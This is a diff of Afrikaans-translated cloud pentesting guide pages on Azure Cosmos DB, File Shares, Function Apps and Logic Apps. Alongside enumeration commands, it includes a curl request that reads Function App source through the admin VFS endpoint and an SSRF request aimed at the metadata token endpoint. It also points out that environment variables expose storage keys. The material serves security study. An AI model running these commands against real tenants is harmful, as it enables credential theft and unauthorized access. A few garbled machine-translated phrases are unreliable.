@@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB -Die MongoDB NoSQL API is 'n dokument-gebaseerde API wat JSON-agtige BSON (Binary JSON) as sy dataformaat gebruik. Dit bied 'n navraagtaal met aggregasie vermoëns, wat dit geskik maak om met gestruktureerde, semi-gestruktureerde en ongestruktureerde data te werk. Die eindpunt van die diens volg tipies hierdie formaat: - -{% code overflow="wrap" %} +Die MongoDB NoSQL API is 'n dokument-gebaseerde API wat JSON-agtige BSON (Binary JSON) as sy dataformaat gebruik. Dit bied 'n navraagtaal met aggregasievermoëns, wat dit geskik maak vir die werk met gestruktureerde, semi-gestruktureerde en ongestruktureerde data. Die eindpunt van die diens volg tipies hierdie formaat: ```bash mongodb://:/ ``` -{% endcode %} +#### Databases +In MongoDB kan jy een of meer databasisse binne 'n instansie skep. Elke databasis dien as 'n logiese groep van versamelings en bied 'n grense vir hulpbronorganisasie en -bestuur. Databasisse help om data logies te skei en te bestuur, soos vir verskillende toepassings of projekte. -#### Databasas -In MongoDB kan jy een of meer databasas binne 'n instansie skep. Elke databasas dien as 'n logiese groep van versamelings en bied 'n grense vir hulpbronorganisasie en -bestuur. Databasas help om data logies te skei en te bestuur, soos vir verskillende toepassings of projekte. +#### Collections +Die kern eenheid van data-opberging in MongoDB is die versameling, wat dokumente hou en ontwerp is vir doeltreffende navraag en buigsame skema-ontwerp. Versamelings is elasties skaalbaar en kan hoë-deurset operasies oor verskeie nodes in 'n verspreide opstelling ondersteun. -#### Versamelings -Die kern eenheid van data-opberging in MongoDB is die versameling, wat dokumente hou en ontwerp is vir doeltreffende navraag en buigsame skema-ontwerp. Versamelings is elasties skaalbaar en kan hoë-deursetbedrywighede oor verskeie nodes in 'n verspreide opstelling ondersteun. +#### Enumeration -#### Enumerasie - -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Verbinding Hier kan jy die wagwoord vind met die sleutels of met die metode beskryf in die privesc afdeling. -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,31 +287,31 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## Verwysings -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## Privilege Escalation -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## Post Exploitation -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## ToDo * Die res van die DB hier, tabelle, cassandra, gremlin... * Kyk na die post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" en rol definisies want hier mag daar 'n privesc wees -* Kyk na herstel +* Kyk na herstelwerk + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index dc7779e58..bd77f2e06 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**Azure Files** is 'n volledig bestuurde wolk lêeropbergingsdiens wat gedeelde lêeropberging bied wat toeganklik is via standaard **SMB (Server Message Block)** en **NFS (Network File System)** protokolle. Alhoewel die hoof protokol wat gebruik word SMB is, word NFS Azure lêer deel nie ondersteun vir Windows (volgens die [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Dit stel jou in staat om hoogs beskikbare netwerk lêer dele te skep wat gelyktydig deur verskeie virtuele masjiene (VMs) of plaaslike stelsels toeganklik gemaak kan word, wat naatlose lêerdeling oor omgewings moontlik maak. +**Azure Files** is 'n volledig bestuurde wolk lêeropbergingsdiens wat gedeelde lêeropberging bied wat toeganklik is via standaard **SMB (Server Message Block)** en **NFS (Network File System)** protokolle. Alhoewel die hoof protokol wat gebruik word SMB is, word NFS Azure lêer gedeeltes nie ondersteun vir Windows nie (volgens die [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Dit stel jou in staat om hoogs beskikbare netwerk lêer gedeeltes te skep wat gelyktydig deur verskeie virtuele masjiene (VMs) of plaaslike stelsels toeganklik gemaak kan word, wat naatlose lêerdeling oor omgewings moontlik maak. ### Toegang Lae @@ -23,15 +23,15 @@ ### Gesteunde Outentikasies via SMB -- **Plaaslike AD DS Outentikasie**: Dit gebruik plaaslike Active Directory akrediteerlinge gesink met Microsoft Entra ID vir identiteitsgebaseerde toegang. Dit vereis netwerkverbinding met plaaslike AD DS. -- **Microsoft Entra Domein Dienste Outentikasie**: Dit benut Microsoft Entra Domein Dienste (wolk-gebaseerde AD) om toegang te bied met Microsoft Entra akrediteerlinge. -- **Microsoft Entra Kerberos vir Hibrid Identiteite**: Dit stel Microsoft Entra gebruikers in staat om Azure lêer dele oor die internet te outentiseer met behulp van Kerberos. Dit ondersteun hibrid Microsoft Entra-verbonden of Microsoft Entra-verbonden VMs sonder om verbinding met plaaslike domeinbeheerder te vereis. Maar dit ondersteun nie wolk-slegs identiteite nie. +- **Plaaslike AD DS Outentikasie**: Dit gebruik plaaslike Active Directory akrediteerlinge wat gesinkroniseer is met Microsoft Entra ID vir identiteit-gebaseerde toegang. Dit vereis netwerkverbinding met plaaslike AD DS. +- **Microsoft Entra Domein Dienste Outentikasie**: Dit benut Microsoft Entra Domein Dienste (wolke-gebaseerde AD) om toegang te bied met Microsoft Entra akrediteerlinge. +- **Microsoft Entra Kerberos vir Hibrid Identiteite**: Dit stel Microsoft Entra gebruikers in staat om Azure lêer gedeeltes oor die internet te outentiseer met behulp van Kerberos. Dit ondersteun hibrid Microsoft Entra-verbonden of Microsoft Entra-verbonden VMs sonder om verbinding met plaaslike domeinbeheerder te vereis. Maar dit ondersteun nie wolk-slegs identiteite nie. - **AD Kerberos Outentikasie vir Linux Kliënte**: Dit stel Linux kliënte in staat om Kerberos te gebruik vir SMB outentikasie via plaaslike AD DS of Microsoft Entra Domein Dienste. ## Enumerasie -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] > Standaard sal `az` cli 'n rekening sleutel gebruik om 'n sleutel te teken en die aksie uit te voer. Om die Entra ID hoofprivileges te gebruik, gebruik die parameters `--auth-mode login --enable-file-backup-request-intent`. @@ -136,7 +136,7 @@ open smb://:@.file.core.windows.ne {{#endtab}} {{#endtabs}} -### Gereelde stooropsporing (toegang sleutels, SAS...) +### Gereelde stoorenumerasie (toegang sleutels, SAS...) {{#ref}} az-storage.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 0e4104e3d..ff10af630 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -11,11 +11,11 @@ ### Verskillende Planne -- **Flex Consumption Plan**: Bied **dinamiese, gebeurtenis-gedrewe skaalvergroting** met 'n betaal-vir-wat-jy-gebruik prysmodel, wat funksie-instanties byvoeg of verwyder op grond van vraag. Dit ondersteun **virtuele netwerke** en **vooraf-geprovisioneerde instansies** om koue begin te verminder, wat dit geskik maak vir **veranderlike werklas** wat nie houerondersteuning vereis nie. -- **Traditional Consumption Plan**: Die standaard serverless opsie, waar jy **net betaal vir rekenaarbronne wanneer funksies loop**. Dit skaal outomaties op grond van inkomende gebeurtenisse en sluit **kouestart-optimalisering** in, maar ondersteun nie houerontplooiings nie. Ideaal vir **intermitterende werklas** wat outomatiese skaalvergroting vereis. +- **Flex Consumption Plan**: Bied **dinamiese, gebeurtenis-gedrewe skaal** met 'n betaal-vir-wat-jy-gebruik prys, wat funksie-instanties byvoeg of verwyder gebaseer op vraag. Dit ondersteun **virtuele netwerke** en **vooraf-geprovisioneerde instanties** om koue begin te verminder, wat dit geskik maak vir **veranderlike werklas** wat nie hou van hou van hou nie. +- **Tradisionele Consumption Plan**: Die standaard serverless opsie, waar jy **net betaal vir rekenaarbronne wanneer funksies loop**. Dit skaal outomaties gebaseer op inkomende gebeurtenisse en sluit **koue begin optimalisering** in, maar ondersteun nie hou van hou nie. Ideaal vir **intermitterende werklas** wat outomatiese skaal vereis. - **Premium Plan**: Ontwerp vir **konstante prestasie**, met **voorverhitte werkers** om koue begin te elimineer. Dit bied **verlengde uitvoertye, virtuele netwerke**, en ondersteun **pasgemaakte Linux beelde**, wat dit perfek maak vir **missie-kritieke toepassings** wat hoë prestasie en gevorderde funksies benodig. -- **Dedicated Plan**: Loop op toegewyde virtuele masjiene met **voorspelbare fakturering** en ondersteun handmatige of outomatiese skaalvergroting. Dit laat toe om verskeie toepassings op dieselfde plan te loop, bied **rekenaarisolering**, en verseker **veilige netwerktoegang** via App Service Omgewings, wat dit ideaal maak vir **lanklopende toepassings** wat konstante hulpbron toewysing benodig. -- **Container Apps**: Maak dit moontlik om **gecontaineriseerde funksie-apps** in 'n bestuurde omgewing te ontplooi, langs mikrodiens en API's. Dit ondersteun pasgemaakte biblioteke, erfenis app migrasie, en **GPU verwerking**, wat die bestuur van Kubernetes klusters elimineer. Ideaal vir **gebeurtenis-gedrewe, skaalbare gecontaineriseerde toepassings**. +- **Toegewyd Plan**: Loop op toegewyde virtuele masjiene met **voorspelbare fakturering** en ondersteun handmatige of outomatiese skaal. Dit laat toe om verskeie toepassings op dieselfde plan te loop, bied **rekenaar isolasie**, en verseker **veilige netwerktoegang** via App Service Omgewings, wat dit ideaal maak vir **lanklopende toepassings** wat konstante hulpbron toewysing benodig. +- **Container Apps**: Maak dit moontlik om **gecontaineriseerde funksie-apps** in 'n bestuurde omgewing te ontplooi, langs mikro-dienste en API's. Dit ondersteun pasgemaakte biblioteke, erfenis app migrasie, en **GPU verwerking**, wat Kubernetes kluster bestuur elimineer. Ideaal vir **gebeurtenis-gedrewe, skaalbare gecontaineriseerde toepassings**. ### **Stoor Emmers** @@ -28,25 +28,25 @@ Boonop, deur die kode binne die emmer te wysig (in die verskillende formate waar > > Meer hieroor in die **bevoegdheid verhoging afdeling**. -Dit is ook moontlik om die **master en funksiesleutels** wat in die stoor rekening gestoor is, in die houer **`azure-webjobs-secrets`** binne die gids **``** in die JSON-lêers wat jy daarbinne kan vind. +Dit is ook moontlik om die **master en funksies sleutels** wat in die stoor rekening gestoor is, in die houer **`azure-webjobs-secrets`** binne die gids **``** in die JSON-lêers wat jy binne kan vind. -Let daarop dat Funksies ook toelaat om die kode in 'n afgeleë ligging te stoor deur net die URL daarna te dui. +Let daarop dat Funksies ook toelaat om die kode in 'n afgeleë plek te stoor deur net die URL daarna te dui. ### Netwerk Met 'n HTTP-trigger: -- Dit is moontlik om **toegang tot 'n funksie van die hele Internet** te gee sonder om enige verifikasie te vereis of om toegang op IAM-basis te gee. Alhoewel dit ook moontlik is om hierdie toegang te beperk. -- Dit is ook moontlik om **toegang te gee of te beperk** tot 'n Function App vanaf **'n interne netwerk (VPC)**. +- Dit is moontlik om **toegang tot 'n funksie van die hele Internet** te gee sonder om enige verifikasie te vereis of toegang IAM-gebaseerd te gee. Alhoewel dit ook moontlik is om hierdie toegang te beperk. +- Dit is ook moontlik om **toegang te gee of te beperk** tot 'n Function App van **'n interne netwerk (VPC)**. > [!CAUTION] > Dit is baie interessant vanuit 'n aanvaller se perspektief aangesien dit moontlik mag wees om **te pivot na interne netwerke** vanaf 'n kwesbare Funksie wat aan die Internet blootgestel is. ### **Function App Instellings & Omgewing Veranderlikes** -Dit is moontlik om omgewing veranderlikes binne 'n app te konfigureer, wat sensitiewe inligting kan bevat. Boonop, standaard word die omgewing veranderlikes **`AzureWebJobsStorage`** en **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (onder andere) geskep. Hierdie is spesiaal interessant omdat hulle **die rekening sleutel bevat om met VOLLE toestemmings die stoor rekening wat die data van die toepassing bevat, te beheer**. Hierdie instellings is ook nodig om die kode van die Stoor Rekening uit te voer. +Dit is moontlik om omgewing veranderlikes binne 'n app te konfigureer, wat sensitiewe inligting kan bevat. Boonop, standaard word die omgewing veranderlikes **`AzureWebJobsStorage`** en **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (onder andere) geskep. Hierdie is spesiaal interessant omdat hulle **die rekening sleutel bevat om met VOLLE toestemmings die stoor rekening wat die data van die toepassing bevat te beheer**. Hierdie instellings is ook nodig om die kode van die Stoor Rekening uit te voer. -Hierdie omgewing veranderlikes of konfigurasieparameters beheer ook hoe die Funksie die kode uitvoer, byvoorbeeld as **`WEBSITE_RUN_FROM_PACKAGE`** bestaan, sal dit die URL aandui waar die kode van die toepassing geleë is. +Hierdie omgewing veranderlikes of konfigurasie parameters beheer ook hoe die Funksie die kode uitvoer, byvoorbeeld as **`WEBSITE_RUN_FROM_PACKAGE`** bestaan, sal dit die URL aandui waar die kode van die toepassing geleë is. ### **Function Sandbox** @@ -65,20 +65,20 @@ Die **stelsel toegeken** een sal 'n bestuurde identiteit wees wat **net die funk > > As 'n geen stelsel bestuurde identiteit gebruik word nie, maar een of meer gebruiker bestuurde identiteite aan 'n funksie geheg is, sal jy standaard nie in staat wees om enige token te kry nie. -Dit is moontlik om die [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) te gebruik om tokens van die standaard bestuurde identiteit van die metadata eindpunt te kry. Of jy kan dit **handmatig** kry soos verduidelik in: +Dit is moontlik om die [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) te gebruik om tokens van die standaard bestuurde identiteit van die metadata eindpunt te kry. Of jy kan hulle **handmatig** kry soos verduidelik in: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -Let daarop dat jy 'n manier moet vind om **al die Bestuurde Identiteite wat 'n funksie het, te kontroleer** aangesien as jy dit nie aandui nie, die metadata eindpunt **net die standaard een sal gebruik** (kyk die vorige skakel vir meer inligting). +Let daarop dat jy 'n manier moet vind om **alle Bestuurde Identiteite wat 'n funksie het, te kontroleer** aangesien as jy dit nie aandui nie, die metadata eindpunt **net die standaard een sal gebruik** (kyk na die vorige skakel vir meer inligting). ## Toegang Sleutels > [!NOTE] -> Let daarop dat daar nie RBAC toestemmings is om toegang aan gebruikers te gee om die funksies aan te roep nie. Die **funksie-aanroep hang af van die trigger** wat gekies is toe dit geskep is en as 'n HTTP Trigger gekies is, mag dit nodig wees om 'n **toegang sleutel** te gebruik. +> Let daarop dat daar geen RBAC toestemmings is om toegang aan gebruikers te gee om die funksies aan te roep nie. Die **funksie aanroep hang af van die trigger** wat gekies is toe dit geskep is en as 'n HTTP Trigger gekies is, mag dit nodig wees om 'n **toegang sleutel** te gebruik. -Wanneer 'n eindpunt binne 'n funksie geskep word met 'n **HTTP trigger** is dit moontlik om die **toegang sleutel outorisatienvlak** aan te dui wat nodig is om die funksie te aktiveer. Drie opsies is beskikbaar: +Wanneer 'n eindpunt binne 'n funksie geskep word met 'n **HTTP trigger** is dit moontlik om die **toegang sleutel outorisering vlak** aan te dui wat nodig is om die funksie te trigger. Drie opsies is beskikbaar: -- **ANONYMOUS**: **Enigeen** kan toegang tot die funksie verkry deur die URL. +- **ANONYMOUS**: **Enigiemand** kan toegang tot die funksie deur die URL. - **FUNCTION**: Eindpunt is slegs toeganklik vir gebruikers wat 'n **funksie, gasheer of meester sleutel** gebruik. - **ADMIN**: Eindpunt is slegs toeganklik vir gebruikers met 'n **meester sleutel**. @@ -87,7 +87,7 @@ Wanneer 'n eindpunt binne 'n funksie geskep word met 'n **HTTP trigger** is dit - **Funksie Sleutels:** Funksie sleutels kan of standaard of gebruiker-gedefinieer wees en is ontwerp om toegang eksklusief te verleen tot **spesifieke funksie eindpunte** binne 'n Function App wat 'n meer fyn-gegradeerde toegang oor die eindpunte toelaat. - **Gasheer Sleutels:** Gasheer sleutels, wat ook standaard of gebruiker-gedefinieer kan wees, bied toegang tot **alle funksie eindpunte binne 'n Function App met FUNKSIE toegang vlak**. - **Meester Sleutel:** Die meester sleutel (`_master`) dien as 'n administratiewe sleutel wat verhoogde toestemmings bied, insluitend toegang tot alle funksie eindpunte (ADMIN toegang vlak ingesluit). Hierdie **sleutel kan nie herroep word nie.** -- **Stelsel Sleutels:** Stelsel sleutels word **bestuur deur spesifieke uitbreidings** en is nodig vir toegang tot webhook eindpunte wat deur interne komponente gebruik word. Voorbeelde sluit die Event Grid trigger en Durable Functions in, wat stelsel sleutels gebruik om veilig met hul onderskeie API's te kommunikeer. +- **Stelsel Sleutels:** Stelsel sleutels word **deur spesifieke uitbreidings bestuur** en is nodig vir toegang tot webhook eindpunte wat deur interne komponente gebruik word. Voorbeelde sluit die Event Grid trigger en Durable Functions in, wat stelsel sleutels gebruik om veilig met hul onderskeie API's te kommunikeer. > [!TIP] > Voorbeeld om toegang tot 'n funksie API eindpunt te verkry met 'n sleutel: @@ -104,7 +104,7 @@ az-app-services.md ### Github Gebaseerde Ontplooiings -Wanneer 'n funksie gegenereer word vanaf 'n Github repo, laat die Azure webkonsol toe om **automaties 'n Github Workflow in 'n spesifieke repository te skep** sodat wanneer hierdie repository opgedateer word, die kode van die funksie opgedateer word. Trouens, die Github Action yaml vir 'n python funksie lyk soos volg: +Wanneer 'n funksie gegenereer word uit 'n Github repo, laat die Azure webkonsol toe om **automaties 'n Github Workflow in 'n spesifieke berging te skep** sodat wanneer hierdie berging opgedateer word, die kode van die funksie opgedateer word. Trouens, die Github Action yaml vir 'n python funksie lyk soos volg:
@@ -192,22 +192,21 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ```
-Boonop, 'n **Gemanagte Identiteit** word ook geskep sodat die Github Aksie van die repository in Azure kan aanmeld. Dit word gedoen deur 'n Federated credential oor die **Gemanagte Identiteit** te genereer wat die **Issuer** `https://token.actions.githubusercontent.com` en die **Subject Identifier** `repo:/:ref:refs/heads/` toelaat. +Boonop, 'n **Gemanagte Identiteit** word ook geskep sodat die Github Aksie van die repository in Azure kan aanmeld. Dit word gedoen deur 'n Federated credential oor die **Gemanagte Identiteit** te genereer wat die **Uitgewer** `https://token.actions.githubusercontent.com` en die **Onderwerp Identifiseerder** `repo:/:ref:refs/heads/` toelaat. > [!CAUTION] > Daarom sal enigeen wat daardie repo kompromitteer, in staat wees om die funksie en die Gemanagte Identiteite wat daaraan gekoppel is, te kompromitteer. -### Hou gebaseerde Ontplooiings +### Houer-gebaseerde Ontplooiings -Nie al die planne laat toe om houers te ontplooi nie, maar vir diegene wat dit doen, sal die konfigurasie die URL van die houer bevat. In die API sal die **`linuxFxVersion`** instelling iets soos hê: `DOCKER|mcr.microsoft.com/...`, terwyl die webkonsol, die konfigurasie die **beeldinstellings** sal wys. +Nie al die planne laat toe om houers te ontplooi nie, maar vir diegene wat dit doen, sal die konfigurasie die URL van die houer bevat. In die API sal die **`linuxFxVersion`** instelling iets soos hê: `DOCKER|mcr.microsoft.com/...`, terwyl die webkonsol die **beeldinstellings** sal wys. Boonop sal **geen bronkode in die stoor** rekening wat met die funksie verband hou, gestoor word nie, aangesien dit nie nodig is nie. ## Enumerasie -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## Privilege Escalation diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index bcfa170e0..d3b53d0e7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -6,12 +6,12 @@ Azure Logic Apps is 'n wolk-gebaseerde diens wat deur Microsoft Azure verskaf word wat ontwikkelaars in staat stel om **werkvloei te skep en te bestuur wat verskeie dienste**, databronne en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer. -Logic Apps bied 'n visuele ontwerper om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om met verskeie dienste te verbind en te kommunikeer, soos Office 365, Dynamics CRM, Salesforce, en vele ander. Jy kan ook pasgemaakte koppelvlakke vir jou spesifieke behoeftes skep. +Logic Apps bied 'n visuele ontwerper om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om te verbind met en te kommunikeer met verskeie dienste, soos Office 365, Dynamics CRM, Salesforce, en vele ander. U kan ook pasgemaakte koppelvlakke vir u spesifieke behoeftes skep. ### Voorbeelde -- **Outomatisering van Data Pype**: Logic Apps kan **data-oordrag en transformasieprosesse** outomatiseer in kombinasie met Azure Data Factory. Dit is nuttig om skaalbare en betroubare datapipes te skep wat data tussen verskeie datastores beweeg en transformeer, soos Azure SQL Database en Azure Blob Storage, wat help met analise en besigheidsintelligensie operasies. -- **Integrasie met Azure Functions**: Logic Apps kan saam met Azure Functions werk om **gesofistikeerde, gebeurtenisgedrewe toepassings te ontwikkel wat skaal soos nodig** en naatloos met ander Azure-dienste integreer. 'n Voorbeeld gebruiksgeval is om 'n Logic App te gebruik om 'n Azure Function te aktiveer in reaksie op sekere gebeurtenisse, soos veranderinge in 'n Azure Storage-rekening, wat dinamiese dataverwerking moontlik maak. +- **Outomatisering van Data Pype**: Logic Apps kan **data-oordrag en transformasieprosesse** outomatiseer in kombinasie met Azure Data Factory. Dit is nuttig om skaalbare en betroubare datapipes te skep wat data tussen verskeie datastores beweeg en transformeer, soos Azure SQL Database en Azure Blob Storage, wat help met analise en besigheidsintelligensie-operasies. +- **Integrasie met Azure Functions**: Logic Apps kan saam met Azure Functions werk om **gesofistikeerde, gebeurtenisgedrewe toepassings te ontwikkel wat soos nodig skaal** en naatloos met ander Azure-dienste integreer. 'n Voorbeeld gebruiksgeval is om 'n Logic App te gebruik om 'n Azure Function te aktiveer in reaksie op sekere gebeurtenisse, soos veranderinge in 'n Azure Storage-rekening, wat dinamiese dataverwerking moontlik maak. ### Visualiseer 'n LogicAPP @@ -23,29 +23,28 @@ of om die kode in die "**Logic app kode weergawe**" afdeling te kyk. ### SSRF Beskerming -Selfs al vind jy die **Logic App kwesbaar vir SSRF**, sal jy nie in staat wees om die akrediteerbare inligting van die metadata te bekom nie, aangesien Logic Apps dit nie toelaat nie. +Selfs as u die **Logic App kwesbaar vir SSRF** vind, sal u nie in staat wees om die akrediteerbare inligting van die metadata te bekom nie, aangesien Logic Apps dit nie toelaat nie. Byvoorbeeld, iets soos dit sal nie die token teruggee: ```bash # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v ``` -### Hosting options +### Hosting opsies -Daar is verskeie gasheeropsies: +Daar is verskeie hosting opsies: -* **Consumption** +* **Verbruik** - **Multi-tenant**: bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. -* **Standard** -- **Workflow Service Plan**: toegewyde rekenaarbronne met VNET-integrasie vir netwerk en hef per workflow service plan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis. -- **App Service Environment V3** toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerk en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing. Dit is ideaal vir ondernemingskaal toepassings wat hoë isolasie benodig. -- **Hybrid** ontwerp vir plaaslike verwerking en multi-cloud ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). +* **Standaard** +- **Workflow Service Plan**: toegewyde rekenaarbronne met VNET-integrasie vir netwerking en hef per workflow service plan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis. +- **App Service Omgewing V3** toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerking en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing. Dit is ideaal vir ondernemingskaal toepassings wat hoë isolasie benodig. +- **Hibriede** ontwerp vir plaaslike verwerking en multi-wolk ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). -### Enumeration +### Enumerasie -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,19 +134,16 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} - - +{{#endtab }} +{{#endtabs }} ### Integrasie Rekeninge -**Integrasie Rekeninge** is 'n kenmerk van Azure Logic Apps. Integrasie Rekeninge word gebruik om ondernemingsvlak integrasies te fasiliteer deur gevorderde B2B vermoëns, soos EDI, AS2, en XML skema bestuur, moontlik te maak. Integrasie Rekeninge is 'n houer in Azure wat die volgende artefakte stoor wat vir Logic Apps gebruik word: +**Integrasie Rekeninge** is 'n kenmerk van Azure 